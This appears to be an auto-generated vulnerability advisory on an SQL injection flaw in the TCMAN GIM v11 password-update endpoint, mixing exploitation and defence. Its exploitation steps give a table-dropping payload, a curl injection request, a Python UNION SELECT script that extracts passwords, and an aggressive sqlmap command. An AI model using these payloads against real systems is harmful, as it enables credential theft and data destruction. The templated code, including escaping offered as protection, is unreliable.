How CVE-2025-40624 Works
This SQL injection vulnerability in TCMAN GIM v11 occurs due to improper input sanitization in the `updatePassword` endpoint. Attackers exploit the `User` and `email` parameters to inject malicious SQL queries. When these parameters are concatenated directly into SQL statements without validation, an unauthenticated attacker can manipulate database queries. This allows unauthorized access to sensitive data, including credentials, and enables data modification or deletion. The flaw stems from insecure coding practices where user-supplied input is dynamically embedded into SQL commands.
DailyCVE Form
Platform: TCMAN GIM
Version: v11
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
' OR '1'='1'; DROP TABLE users;--
2. Send Exploit via HTTP Request:
curl -X POST "http://target.com/updatePassword" -d "User=admin'--&[email protected]"
3. Automated Exploit (Python):
import requests
payload = {"User": "admin' UNION SELECT 1,2,password FROM users--", "email": "x"}
response = requests.post("http://target.com/updatePassword", data=payload)
print(response.text)
Protection
1. Input Validation:
$user = mysqli_real_escape_string($conn, $_POST['User']);
2. Prepared Statements:
String query = "UPDATE users SET password=? WHERE User=? AND email=?"; PreparedStatement stmt = conn.prepareStatement(query); stmt.setString(1, newPassword); stmt.setString(2, user); stmt.setString(3, email);
3. WAF Rules:
location /updatePassword {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
Analytics
- CVSS 4.0 Score: 9.3 (Critical)
- Attack Vector: Network (AV:N)
- Impact: High (VC:H/VI:H/VA:H)
- Patch Status: No official fix as of 05/13/2025
Detection Commands
1. SQLi Fingerprinting:
sqlmap -u "http://target.com/updatePassword" --data="User=test&email=test" --risk=3
2. Log Analysis:
grep "updatePassword.[';]" /var/log/apache2/access.log
Mitigation Steps
1. Disable Endpoint Temporarily:
iptables -A INPUT -p tcp --dport 80 -m string --string "updatePassword" --algo bm -j DROP
2. Database Backup:
mysqldump -u root -p --all-databases > backup.sql
